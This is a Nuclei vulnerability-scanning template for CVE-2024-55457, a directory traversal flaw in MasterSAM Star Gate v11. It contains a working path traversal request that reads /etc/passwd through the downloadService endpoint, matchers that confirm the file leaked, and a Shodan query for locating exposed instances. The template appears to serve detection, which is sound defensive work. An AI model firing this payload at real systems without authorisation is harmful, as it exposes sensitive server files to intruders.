id: CVE-2024-55457

info:
  name: MasterSAM Star Gate v11 - Local File Inclusion
  author: DhiyaneshDK
  severity: high
  description: |
    MasterSAM Star Gate v11 is vulnerable to a directory traversal attack via the endpoint /adama/adama/downloadService. An attacker can exploit this vulnerability by manipulating the file parameter to access arbitrary files on the server, potentially leading to the exposure of sensitive information.
  reference:
    - https://github.com/h13nh04ng/CVE-2024-55457-PoC
    - https://x.com/cyber_advising/status/1876034270852231257
  classification:
    epss-score: 0.78319
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"MasterSAM"
  tags: cve,cve2024,lfi,mastersam,v11,adama

http:
  - method: GET
    path:
      - "{{BaseURL}}/adama/adama/downloadService?type=1&file=../../../../etc/passwd"

    matchers:
      - type: dsl
        dsl:
          - "contains_all(header, 'application/octet-stream', 'filename=')"
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and
# digest: 4b0a0048304602210091c893632a043f0d41d87069540928441ed5ef27697a04693aed53ba5dc4e13e022100fb48f06f34e9010c4ca90ca9470bf018f8251164fdb92b5d71fec363536d10d6:922c64590222798bb761d5b6d8e72950